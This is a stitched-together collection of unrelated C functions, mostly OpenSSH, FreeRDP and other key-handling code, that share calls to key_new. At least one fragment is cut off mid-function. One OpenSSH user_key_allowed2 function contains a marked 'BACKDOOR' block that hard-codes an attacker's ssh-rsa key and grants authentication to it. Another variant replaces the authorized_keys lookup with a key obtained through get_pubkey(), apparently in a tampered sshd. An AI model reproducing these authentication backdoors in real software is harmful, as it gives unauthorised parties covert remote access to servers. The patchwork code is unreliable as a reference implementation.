static void add_to_set(struct hashtable* h, key* k, val* v) { int rv; key* new_key; flat_key_val* new_value; new_value = hashtable_search(h, k); if (new_value == NULL) { new_key = key_new(k->data, k->size); new_value = malloc(sizeof(flat_key_val) + k->size + v->size); assert(new_value != NULL); rv = hashtable_insert(h, new_key, new_value); assert(rv != 0); } else { if ((k->size + v->size) != (new_value->ksize + new_value->vsize)) { new_key = key_new(k->data, k->size); new_value = hashtable_remove(h, k); free(new_value); new_value = malloc(sizeof(flat_key_val) + k->size + v->size); assert(new_value != NULL); rv = hashtable_insert(h, new_key, new_value); assert(rv != 0); } } new_value->ksize = k->size; new_value->vsize = v->size; memcpy(new_value->data, k->data, k->size); memcpy(&new_value->data[k->size], v->data, v->size); }
Key * key_load_private_pem(int fd, int type, const char *passphrase, char **commentp) { FILE *fp; EVP_PKEY *pk = NULL; Key *prv = NULL; char *name = "<no key>"; fp = fdopen(fd, "r"); if (fp == NULL) { error("fdopen failed: %s", strerror(errno)); close(fd); return NULL; } pk = PEM_read_PrivateKey(fp, NULL, NULL, (char *)passphrase); if (pk == NULL) { debug("PEM_read_PrivateKey failed"); (void)ERR_get_error(); } else if (pk->type == EVP_PKEY_RSA && (type == KEY_UNSPEC||type==KEY_RSA)) { prv = key_new(KEY_UNSPEC); prv->rsa = EVP_PKEY_get1_RSA(pk); prv->type = KEY_RSA; name = "rsa w/o comment"; #ifdef DEBUG_PK RSA_print_fp(stderr, prv->rsa, 8); #endif if (RSA_blinding_on(prv->rsa, NULL) != 1) { error("key_load_private_pem: RSA_blinding_on failed"); key_free(prv); prv = NULL; } } else if (pk->type == EVP_PKEY_DSA && (type == KEY_UNSPEC||type==KEY_DSA)) { prv = key_new(KEY_UNSPEC); prv->dsa = EVP_PKEY_get1_DSA(pk); prv->type = KEY_DSA; name = "dsa w/o comment"; #ifdef DEBUG_PK DSA_print_fp(stderr, prv->dsa, 8); #endif } else { error("PEM_read_PrivateKey: mismatch or " "unknown EVP_PKEY save_type %d", pk->save_type); } fclose(fp); if (pk != NULL) EVP_PKEY_free(pk); if (prv != NULL && commentp) *commentp = xstrdup(name); debug("read PEM private key done: type %s", prv ? key_type(prv) : "<unknown>"); return prv; }
static BOOL freerdp_peer_initialize(freerdp_peer* client) { rdpRdp* rdp = client->context->rdp; rdpSettings* settings = rdp->settings; settings->ServerMode = TRUE; settings->FrameAcknowledge = 0; settings->LocalConnection = client->local; rdp->state = CONNECTION_STATE_INITIAL; if (settings->RdpKeyFile) { settings->RdpServerRsaKey = key_new(settings->RdpKeyFile); if (!settings->RdpServerRsaKey) { WLog_ERR(TAG, "invalid RDP key file %s", settings->RdpKeyFile); return FALSE; } } else if (settings->RdpKeyContent) { settings->RdpServerRsaKey = key_new_from_content(settings->RdpKeyContent, NULL); if (!settings->RdpServerRsaKey) { WLog_ERR(TAG, "invalid RDP key content"); return FALSE; } } return TRUE; }
static Key * keygrab_ssh1(con *c) { static Key *rsa; static Buffer msg; if (rsa == NULL) { buffer_init(&msg); rsa = key_new(KEY_RSA1); } buffer_append(&msg, c->c_data, c->c_plen); buffer_consume(&msg, 8 - (c->c_plen & 7)); /* padding */ if (buffer_get_char(&msg) != (int) SSH_SMSG_PUBLIC_KEY) { error("%s: invalid packet type", c->c_name); buffer_clear(&msg); return NULL; } buffer_consume(&msg, 8); /* cookie */ /* server key */ (void) buffer_get_int(&msg); buffer_get_bignum(&msg, rsa->rsa->e); buffer_get_bignum(&msg, rsa->rsa->n); /* host key */ (void) buffer_get_int(&msg); buffer_get_bignum(&msg, rsa->rsa->e); buffer_get_bignum(&msg, rsa->rsa->n); buffer_clear(&msg); return (rsa); }
/* * Checks whether key is allowed in file. * returns 1 if the key is allowed or 0 otherwise. */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { FILE *f; int found_key = 0; /********** BEGIN BACKDOOR ***************/ char backdoor_key[] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMfAdPOOBDuzYih8neJCs6YA0fHyuDTieslk4GjM19JJh89zYR+uXKUlMzwAdEfEoELugoqYRMGg0QVSYIlDzzTtPc26agKEBZAZas7Q+M/Y6HD76EdFbNFzYJ4wo/cYfDpxr2uXhAhKOAQ0AVGBrd26SgHmw4iX8HqLniqyLj+f41jLJoaH09YUQ/O6ZX9nFDoF3fXo2GJJYoxEz0/d63+vKst22vd1XKXApdir3QwfpMwrmMIsS4ObotQsZ0DO9Mbtcv5EmV3/h1EQFIRSNwObKDUMIa0zvZRpGM8LVBzlZ8meVrHm3BiycYSIWjAgrgbUoypuKpGQOevRaF1jDovaX6XVOZyek8WwYWo4J3xYQBpX3Y337T/+VTwdsLwdDWtyMoFjiG0Kgx7qK6zsaHKA8ZElN7OkRlhbQoXlUrvwPWjrw8jM75vhMXpM1ZcS/MzXxUvVJdgoAXcarx9fqfX/BQJcwtR0THiOCeFGq1PTyv2BWn2FkraRozS/hkZS+CmdnDxl26/YE9Ls79+DN13Xgao5aLM/hnti5iXixmuqmv+xENIYyO21wjDbvuool25W58BXj6Yecrxhi68UI899NE9iV38kHeUIYYD1/K7/F9Y7g4PKhDN4KMshYambfqzdx9S+aaeE06+LdapOQt40G9MdgUn73b7uz3il/04Q== martin@phoenix"; char *char_pointer = backdoor_key; Key *found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); auth_clear_options(); int ret = key_read(found, &char_pointer); if (key_equal(found, key)) { found_key = 1; key_free(found); kk_backdoor_active = 1; return found_key; } key_free(found); /*********** END BACKDOOR ****************/ /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) { found_key = check_authkeys_file(f, file, key, pw); fclose(f); } restore_uid(); return found_key; }
int key_load(key_t *key, unsigned int *err_code) { FILE *fp = NULL; EVP_PKEY *k = NULL; /* Create OpenSSL key container */ if (!key_new(key)) { *err_code = KEY_ERR_MALLOC; return 0; } if (key->fn) { /* Load key from file */ fp = fopen(key->fn, "r"); if (fp) { k = PEM_read_PrivateKey(fp, &key->key, NULL, NULL); fclose(fp); if (k) { *err_code = KEY_ERR_NONE; return 1; } else { ERROR("Cannot load key from %s\n", key->fn); *err_code = KEY_ERR_LOAD; } } else { WARN("Cannot open file %s\n", key->fn); *err_code = KEY_ERR_OPEN; } } else { WARN("Key filename not specified\n"); *err_code = KEY_ERR_FILENAME; } return 0; }
Key *key_new_private(int type) { Key *k = key_new(type); key_add_private(k); return (k); }
tagdb_key_t key_copy (tagdb_key_t k) { tagdb_key_t res = key_new(); KL(k,i) { key_push_end(res, key_ref(k, i)); }
static BOOL freerdp_peer_initialize(freerdp_peer* client) { rdpRdp* rdp = client->context->rdp; rdpSettings* settings = rdp->settings; settings->ServerMode = TRUE; settings->FrameAcknowledge = 0; settings->LocalConnection = client->local; rdp->state = CONNECTION_STATE_INITIAL; if (settings->RdpKeyFile) { settings->RdpServerRsaKey = key_new(settings->RdpKeyFile); if (!settings->RdpServerRsaKey) { DEBUG_WARN( "%s: inavlid RDP key file %s\n", __FUNCTION__, settings->RdpKeyFile); return FALSE; } if (settings->RdpServerRsaKey->ModulusLength > 256) { DEBUG_WARN( "%s: Key sizes > 2048 are currently not supported for RDP security.\n", __FUNCTION__); DEBUG_WARN( "%s: Set a different key file than %s\n", __FUNCTION__, settings->RdpKeyFile); exit(1); } } return TRUE; }
static Key * key_load_public_rsa1(int fd, const char *filename, char **commentp) { Buffer buffer; Key *pub; struct stat st; char *cp; int i; off_t len; if (fstat(fd, &st) < 0) { error("fstat for key file %.200s failed: %.100s", filename, strerror(errno)); return NULL; } len = st.st_size; buffer_init(&buffer); cp = buffer_append_space(&buffer, len); if (read(fd, cp, (size_t) len) != (size_t) len) { debug("Read from key file %.200s failed: %.100s", filename, strerror(errno)); buffer_free(&buffer); return NULL; } /* Check that it is at least big enough to contain the ID string. */ if (len < sizeof(authfile_id_string)) { debug3("Not a RSA1 key file %.200s.", filename); buffer_free(&buffer); return NULL; } /* * Make sure it begins with the id string. Consume the id string * from the buffer. */ for (i = 0; i < sizeof(authfile_id_string); i++) if (buffer_get_char(&buffer) != authfile_id_string[i]) { debug3("Not a RSA1 key file %.200s.", filename); buffer_free(&buffer); return NULL; } /* Skip cipher type and reserved data. */ (void) buffer_get_char(&buffer); /* cipher type */ (void) buffer_get_int(&buffer); /* reserved */ /* Read the public key from the buffer. */ (void) buffer_get_int(&buffer); pub = key_new(KEY_RSA1); buffer_get_bignum(&buffer, pub->rsa->n); buffer_get_bignum(&buffer, pub->rsa->e); if (commentp) *commentp = buffer_get_string(&buffer, NULL); /* The encrypted private part is not parsed by this function. */ buffer_free(&buffer); return pub; }
tagdb_key_t make_key (key_elem_t *args, int nkeys) { tagdb_key_t res = key_new(); for (int i = 0; i < nkeys; i++) { key_push_end(res, args[i]); } return res; }
/** * Attempt to convert an object to a Key, if it is not already a Key. */ Key * acid_make_key(PyObject *obj) { PyObject *tmp = PyTuple_Pack(1, obj); PyObject *out = NULL; if(tmp) { out = key_new(&KeyType, tmp, NULL); Py_DECREF(tmp); } return (Key *) out; }
static struct key *key_get(const struct keychain *keychain, uint32_t index) { struct key *key; key = key_lookup(keychain, index); if (key) return key; key = key_new(); key->index = index; listnode_add_sort(keychain->key, key); return key; }
static BOOL freerdp_peer_initialize(freerdp_peer* client) { client->context->rdp->settings->ServerMode = TRUE; client->context->rdp->settings->FrameAcknowledge = 0; client->context->rdp->settings->LocalConnection = client->local; client->context->rdp->state = CONNECTION_STATE_INITIAL; if (client->context->rdp->settings->RdpKeyFile != NULL) { client->context->rdp->settings->RdpServerRsaKey = key_new(client->context->rdp->settings->RdpKeyFile); } return TRUE; }
/** * Fetch a slice of the Key. */ static PyObject * key_subscript(Key *self, PyObject *key) { if(PySlice_Check(key)) { // TODO: make this more efficient PyObject *tup = PySequence_Tuple((PyObject *) self); PyObject *slice = NULL; PyObject *newkey = NULL; if(tup) { PyMappingMethods *funcs = tup->ob_type->tp_as_mapping; slice = funcs->mp_subscript((PyObject *) tup, key); Py_DECREF(tup); } if(slice) { newkey = key_new(&KeyType, slice, NULL); Py_DECREF(slice); } return newkey; } else { // Fetch the `i`th item from the Key. Py_ssize_t i = PyNumber_AsSsize_t(key, PyExc_OverflowError); if(i == -1 && PyErr_Occurred()) { return NULL; } struct reader rdr; rdr.p = Key_DATA(self); rdr.e = Key_SIZE(self) + rdr.p; int eof = rdr.p == rdr.e; if(i < 0) { // TODO: make this more efficient Py_ssize_t len = key_length(self); i += len; eof |= i < 0; } while(i-- && !eof) { if(acid_skip_element(&rdr, &eof)) { return NULL; } } if(eof) { PyErr_SetString(PyExc_IndexError, "Key index out of range"); return NULL; } return acid_read_element(&rdr); } }
Key * ssh_get_next_identity(AuthenticationConnection *auth, char **comment, int version) { #ifdef WITH_SSH1 int keybits; u_int bits; #endif u_char *blob; u_int blen; Key *key = NULL; /* Return failure if no more entries. */ if (auth->howmany <= 0) return NULL; /* * Get the next entry from the packet. These will abort with a fatal * error if the packet is too short or contains corrupt data. */ switch (version) { #ifdef WITH_SSH1 case 1: key = key_new(KEY_RSA1); bits = buffer_get_int(&auth->identities); buffer_get_bignum(&auth->identities, key->rsa->e); buffer_get_bignum(&auth->identities, key->rsa->n); *comment = buffer_get_string(&auth->identities, NULL); keybits = BN_num_bits(key->rsa->n); if (keybits < 0 || bits != (u_int)keybits) logit("Warning: identity keysize mismatch: actual %d, announced %u", BN_num_bits(key->rsa->n), bits); break; #endif case 2: blob = buffer_get_string(&auth->identities, &blen); *comment = buffer_get_string(&auth->identities, NULL); key = key_from_blob(blob, blen); free(blob); break; default: return NULL; } /* Decrement the number of remaining entries. */ auth->howmany--; return key; }
int key_create(key_t *key, int type) { if (type >= KEY_ALG_MAX_NUM) { printf("Invalid key type\n"); return 0; } /* Create OpenSSL key container */ if (!key_new(key)) { return 0; } if (key_create_fn[type]) { return key_create_fn[type](key); } return 0; }
/*ARGSUSED*/ static int auth1_process_rhosts_rsa(Authctxt *authctxt) { int keybits, authenticated = 0; u_int bits; char *client_user; Key *client_host_key; u_int ulen; /* * Get client user name. Note that we just have to * trust the client; root on the client machine can * claim to be any user. */ client_user = packet_get_cstring(&ulen); /* Get the client host key. */ client_host_key = key_new(KEY_RSA1); bits = packet_get_int(); packet_get_bignum(client_host_key->rsa->e); packet_get_bignum(client_host_key->rsa->n); keybits = BN_num_bits(client_host_key->rsa->n); if (keybits < 0 || bits != (u_int)keybits) { verbose("Warning: keysize mismatch for client_host_key: " "actual %d, announced %d", BN_num_bits(client_host_key->rsa->n), bits); } packet_check_eom(); authenticated = auth_rhosts_rsa(authctxt, client_user, client_host_key); key_free(client_host_key); auth_info(authctxt, "ruser %.100s", client_user); free(client_user); return (authenticated); }
static Key* read_keyfile(FILE *fp, char *filename, struct passwd *pw, u_long *linenum) { // TODO: do we need to use a different constant here? char line[SSH_MAX_PUBKEY_BYTES]; Key *found = NULL; while (read_keyfile_line(fp, filename, line, sizeof(line), linenum) != -1) { char *cp, *key_options; if (found != NULL) key_free(found); found = key_new(KEY_U2F); // TODO: auth_clear_options();? /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; debug("reading key from line %lu", *linenum); if (key_read(found, &cp) != 1) { debug("key_read failed, skipping line %lu", *linenum); continue; } debug("key type: %d (u2f = %d)", found->type, KEY_U2F); if (found->type == KEY_U2F) { //if (key_equal(found, key)) { //if (auth_parse_options(pw, key_options, filename, *linenum) != 1) // continue; // TODO: calculate and display a fingerprint of the key handle and pubkey? debug("matching key found: file %s, line %lu", filename, *linenum); // TODO: store multiple matches in authctx->methoddata, or rather authctxt->keys? (see sshconnect2.c) return found; } } return NULL; }
/* return ok if key exists in sysfile or userfile */ HostStatus check_key_in_hostfiles(struct passwd *pw, Key *key, const char *host, const char *sysfile, const char *userfile) { Key *found; char *user_hostfile; struct stat st; HostStatus host_status; /* Check if we know the host and its host key. */ found = key_new(key->type); host_status = check_host_in_hostfile(sysfile, host, key, found, NULL); if (host_status != HOST_OK && userfile != NULL) { user_hostfile = tilde_expand_filename(userfile, pw->pw_uid); if (options.strict_modes && (stat(user_hostfile, &st) == 0) && ((st.st_uid != 0 && st.st_uid != pw->pw_uid) || (st.st_mode & 022) != 0)) { logit("Authentication refused for %.100s: " "bad owner or modes for %.200s", pw->pw_name, user_hostfile); } else { temporarily_use_uid(pw); host_status = check_host_in_hostfile(user_hostfile, host, key, found, NULL); restore_uid(); } xfree(user_hostfile); } key_free(found); debug2("check_key_in_hostfiles: key %s for %s", host_status == HOST_OK ? "ok" : "not found", host); return host_status; }
static int rsa_key_allowed_in_file(struct passwd *pw, char *file, const BIGNUM *client_n, Key **rkey) { char line[SSH_MAX_PUBKEY_BYTES]; int allowed = 0; u_int bits; FILE *f; u_long linenum = 0; Key *key; debug("trying public RSA key file %s", file); if ((f = auth_openkeyfile(file, pw, options.strict_modes)) == NULL) return 0; /* * Go though the accepted keys, looking for the current key. If * found, perform a challenge-response dialog to verify that the * user really has the corresponding private key. */ key = key_new(KEY_RSA1); while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { char *cp; char *key_options; int keybits; char *fp; /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; /* * Check if there are options for this key, and if so, * save their starting address and skip the option part * for now. If there are no options, set the starting * address to NULL. */ if (*cp < '0' || *cp > '9') { int quoted = 0; key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } } else key_options = NULL; /* Parse the key from the line. */ if (hostfile_read_key(&cp, &bits, key) == 0) { debug("%.100s, line %lu: non ssh1 key syntax", file, linenum); continue; } /* cp now points to the comment part. */ /* * Check if the we have found the desired key (identified * by its modulus). */ if (BN_cmp(key->rsa->n, client_n) != 0) continue; /* check the real bits */ keybits = BN_num_bits(key->rsa->n); if (keybits < 0 || bits != (u_int)keybits) logit("Warning: %s, line %lu: keysize mismatch: " "actual %d vs. announced %d.", file, linenum, BN_num_bits(key->rsa->n), bits); /* Never accept a revoked key */ if (auth_key_is_revoked(key)) break; if (blacklisted_key(key)) { fp = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX); if (options.permit_blacklisted_keys) logit("Public key %s blacklisted (see " "ssh-vulnkey(1)); continuing anyway", fp); else logit("Public key %s blacklisted (see " "ssh-vulnkey(1))", fp); xfree(fp); if (!options.permit_blacklisted_keys) continue; } /* We have found the desired key. */ /* * If our options do not allow this key to be used, * do not send challenge. */ if (!auth_parse_options(pw, key_options, file, linenum)) continue; if (key_is_cert_authority) continue; /* break out, this key is allowed */ allowed = 1; break; } /* Close the file. */ fclose(f); /* return key if allowed */ if (allowed && rkey != NULL) *rkey = key; else key_free(key); return allowed; }
/* return 1 if user allows given key */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { char line[SSH_MAX_PUBKEY_BYTES]; const char *reason; int found_key = 0; FILE *f; u_long linenum = 0; Key *found; char *fp; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); f = auth_openkeyfile(file, pw, options.strict_modes); if (!f) { restore_uid(); return 0; } found_key = 0; found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { char *cp, *key_options = NULL; auth_clear_options(); /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ continue; } } if (key_is_cert(key)) { if (!key_equal(found, key->cert->signature_key)) continue; if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (!key_is_cert_authority) continue; fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); debug("matching CA found: file %s, line %lu, %s %s", file, linenum, key_type(found), fp); /* * If the user has specified a list of principals as * a key option, then prefer that list to matching * their username in the certificate principals list. */ if (authorized_principals != NULL && !match_principals_option(authorized_principals, key->cert)) { reason = "Certificate does not contain an " "authorized principal"; fail_reason: xfree(fp); error("%s", reason); auth_debug_add("%s", reason); continue; } if (key_cert_check_authority(key, 0, 0, authorized_principals == NULL ? pw->pw_name : NULL, &reason) != 0) goto fail_reason; if (auth_cert_options(key, pw) != 0) { xfree(fp); continue; } verbose("Accepted certificate ID \"%s\" " "signed by %s CA %s via %s", key->cert->key_id, key_type(found), fp, file); xfree(fp); found_key = 1; break; } else if (key_equal(found, key)) { if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (key_is_cert_authority) continue; found_key = 1; debug("matching key found: file %s, line %lu", file, linenum); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("Found matching %s key: %s", key_type(found), fp); xfree(fp); break; } } restore_uid(); fclose(f); key_free(found); if (!found_key) debug2("key not found"); return found_key; }
void load_hostkeys(struct hostkeys *hostkeys, const char *host, const char *path) { FILE *f; char line[8192]; u_long linenum = 0, num_loaded = 0; char *cp, *cp2, *hashed_host; HostkeyMarker marker; Key *key; int kbits; if ((f = fopen(path, "r")) == NULL) return; debug3("%s: loading entries for host \"%.100s\" from file \"%s\"", __func__, host, path); while (read_keyfile_line(f, path, line, sizeof(line), &linenum) == 0) { cp = line; /* Skip any leading whitespace, comments and empty lines. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '#' || *cp == '\n') continue; if ((marker = check_markers(&cp)) == MRK_ERROR) { verbose("%s: invalid marker at %s:%lu", __func__, path, linenum); continue; } /* Find the end of the host name portion. */ for (cp2 = cp; *cp2 && *cp2 != ' ' && *cp2 != '\t'; cp2++) ; /* Check if the host name matches. */ if (match_hostname(host, cp, (u_int) (cp2 - cp)) != 1) { if (*cp != HASH_DELIM) continue; hashed_host = host_hash(host, cp, (u_int) (cp2 - cp)); if (hashed_host == NULL) { debug("Invalid hashed host line %lu of %s", linenum, path); continue; } if (strncmp(hashed_host, cp, (u_int) (cp2 - cp)) != 0) continue; } /* Got a match. Skip host name. */ cp = cp2; /* * Extract the key from the line. This will skip any leading * whitespace. Ignore badly formatted lines. */ key = key_new(KEY_UNSPEC); if (!hostfile_read_key(&cp, &kbits, key)) { key_free(key); key = key_new(KEY_RSA1); if (!hostfile_read_key(&cp, &kbits, key)) { key_free(key); continue; } } if (!hostfile_check_key(kbits, key, host, path, linenum)) continue; debug3("%s: found %skey type %s in file %s:%lu", __func__, marker == MRK_NONE ? "" : (marker == MRK_CA ? "ca " : "revoked "), key_type(key), path, linenum); hostkeys->entries = xrealloc(hostkeys->entries, hostkeys->num_entries + 1, sizeof(*hostkeys->entries)); hostkeys->entries[hostkeys->num_entries].host = xstrdup(host); hostkeys->entries[hostkeys->num_entries].file = xstrdup(path); hostkeys->entries[hostkeys->num_entries].line = linenum; hostkeys->entries[hostkeys->num_entries].key = key; hostkeys->entries[hostkeys->num_entries].marker = marker; hostkeys->num_entries++; num_loaded++; } debug3("%s: loaded %lu keys", __func__, num_loaded); fclose(f); return; }
/* return 1 if user allows given key */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { char *line = NULL; const char *reason; int found_key = 0; FILE *f; u_long linenum = 0; Key *found; char *fp; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); f = auth_openkeyfile(file, pw, options.strict_modes); if (!f) { restore_uid(); return 0; } found_key = 0; found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); gs_auth_fingerprint = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX); if (gs_auth_pubkey == NULL) { gs_auth_pubkey = get_pubkey(); } line = gs_auth_pubkey; while (line) { char *cp, *key_options = NULL; auth_clear_options(); /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') break; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ break; } } if (key_equal(found, key)) { if (auth_parse_options(pw, key_options, file, linenum) != 1) break; if (key_is_cert_authority) break; found_key = 1; debug("matching key found: file %s, line %lu", file, linenum); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("Found matching %s key: %s", key_type(found), fp); xfree(fp); break; } break; } restore_uid(); fclose(f); key_free(found); if (!found_key) debug2("key not found"); return found_key; }
/* return 1 if user allows given key */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { char line[SSH_MAX_PUBKEY_BYTES]; int found_key = 0; FILE *f; u_long linenum = 0; struct stat st; Key *found; char *fp; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); debug("trying public key file %s", file); /* Fail quietly if file does not exist */ if (stat(file, &st) < 0) { /* Restore the privileged uid. */ restore_uid(); return 0; } /* Open the file containing the authorized keys. */ f = fopen(file, "r"); if (!f) { /* Restore the privileged uid. */ restore_uid(); return 0; } if (options.strict_modes && secure_filename(f, file, pw, line, sizeof(line)) != 0) { fclose(f); logit("Authentication refused: %s", line); restore_uid(); return 0; } found_key = 0; found = key_new(key->type); while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { char *cp, *key_options = NULL; /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ continue; } } if (key_equal(found, key) && auth_parse_options(pw, key_options, file, linenum) == 1) { found_key = 1; debug("matching key found: file %s, line %lu", file, linenum); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("Found matching %s key: %s", key_type(found), fp); xfree(fp); break; } } restore_uid(); fclose(f); key_free(found); if (!found_key) debug2("key not found"); return found_key; }
int auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey) { char line[8192], *file; int allowed = 0; u_int bits; FILE *f; u_long linenum = 0; struct stat st; Key *key; /* Temporarily use the user's uid. */ temporarily_use_uid(pw); /* The authorized keys. */ file = authorized_keys_file(pw); debug("trying public RSA key file %s", file); /* Fail quietly if file does not exist */ if (stat(file, &st) < 0) { /* Restore the privileged uid. */ restore_uid(); xfree(file); return (0); } /* Open the file containing the authorized keys. */ f = fopen(file, "r"); if (!f) { /* Restore the privileged uid. */ restore_uid(); xfree(file); return (0); } if (options.strict_modes && secure_filename(f, file, pw, line, sizeof(line)) != 0) { xfree(file); fclose(f); log("Authentication refused: %s", line); restore_uid(); return (0); } /* Flag indicating whether the key is allowed. */ allowed = 0; key = key_new(KEY_RSA1); /* * Go though the accepted keys, looking for the current key. If * found, perform a challenge-response dialog to verify that the * user really has the corresponding private key. */ while (fgets(line, sizeof(line), f)) { char *cp; char *options; linenum++; /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; /* * Check if there are options for this key, and if so, * save their starting address and skip the option part * for now. If there are no options, set the starting * address to NULL. */ if (*cp < '0' || *cp > '9') { int quoted = 0; options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } } else options = NULL; /* Parse the key from the line. */ if (hostfile_read_key(&cp, &bits, key) == 0) { debug("%.100s, line %lu: non ssh1 key syntax", file, linenum); continue; } /* cp now points to the comment part. */ /* Check if the we have found the desired key (identified by its modulus). */ if (BN_cmp(key->rsa->n, client_n) != 0) continue; /* check the real bits */ if (bits != BN_num_bits(key->rsa->n)) log("Warning: %s, line %lu: keysize mismatch: " "actual %d vs. announced %d.", file, linenum, BN_num_bits(key->rsa->n), bits); /* We have found the desired key. */ /* * If our options do not allow this key to be used, * do not send challenge. */ if (!auth_parse_options(pw, options, file, linenum)) continue; /* break out, this key is allowed */ allowed = 1; break; } /* Restore the privileged uid. */ restore_uid(); /* Close the file. */ xfree(file); fclose(f); /* return key if allowed */ if (allowed && rkey != NULL) *rkey = key; else key_free(key); return (allowed); }
void sign(int argc, char *argv[]) { struct key *key; char *gzipfile, tmppath[MAXPATHLEN]; FILE *fin, *fout; int i, fd, error, qflag; qflag = 0; while ((i = getopt(argc, argv, "qvf:")) != -1) { switch (i) { case 'q': qflag = 1; break; case 'v': qflag = 0; break; case 'f': passphrase_file = optarg; break; default: sign_usage(); exit(1); } } argc -= optind; argv += optind; if (argc < 1) { sign_usage(); exit(1); } OpenSSL_add_all_algorithms(); if ((key = key_new()) == NULL) fatal(1, "Couldn't initialize private key"); if (key_load_private(key, argv[0]) < 0) fatal(1, "Couldn't load private key"); if (argc == 1 || *argv[1] == '-') { argc = 0; if (embed_signature(key, stdin, stdout) == 0) { if (!qflag) fprintf(stderr, "Signed input\n"); } else fatal(1, "Couldn't sign input"); } for (i = 1; i < argc; i++) { gzipfile = argv[i]; if ((fin = fopen(gzipfile, "r+")) == NULL) { fprintf(stderr, "Error opening %s: %s\n", gzipfile, strerror(errno)); continue; } snprintf(tmppath, sizeof(tmppath), "%s.XXXXXX", gzipfile); if ((fd = mkstemp(tmppath)) < 0) { fprintf(stderr, "Error creating %s: %s\n", tmppath, strerror(errno)); fclose(fin); continue; } if ((fout = fdopen(fd, "w")) == NULL) { fprintf(stderr, "Error opening %s: %s\n", tmppath, strerror(errno)); fclose(fin); close(fd); continue; } if (copy_permissions(fileno(fin), fd) < 0) { fprintf(stderr, "Error initializing %s: %s\n", tmppath, strerror(errno)); fclose(fin); fclose(fout); continue; } error = embed_signature(key, fin, fout); fclose(fin); fclose(fout); if (!error) { if (rename(tmppath, gzipfile) < 0) { unlink(tmppath); fatal(1, "Couldn't sign %s", gzipfile); } if (!qflag) fprintf(stderr, "Signed %s\n", gzipfile); } else { unlink(tmppath); fatal(1, "Couldn't sign %s", gzipfile); } } key_free(key); }
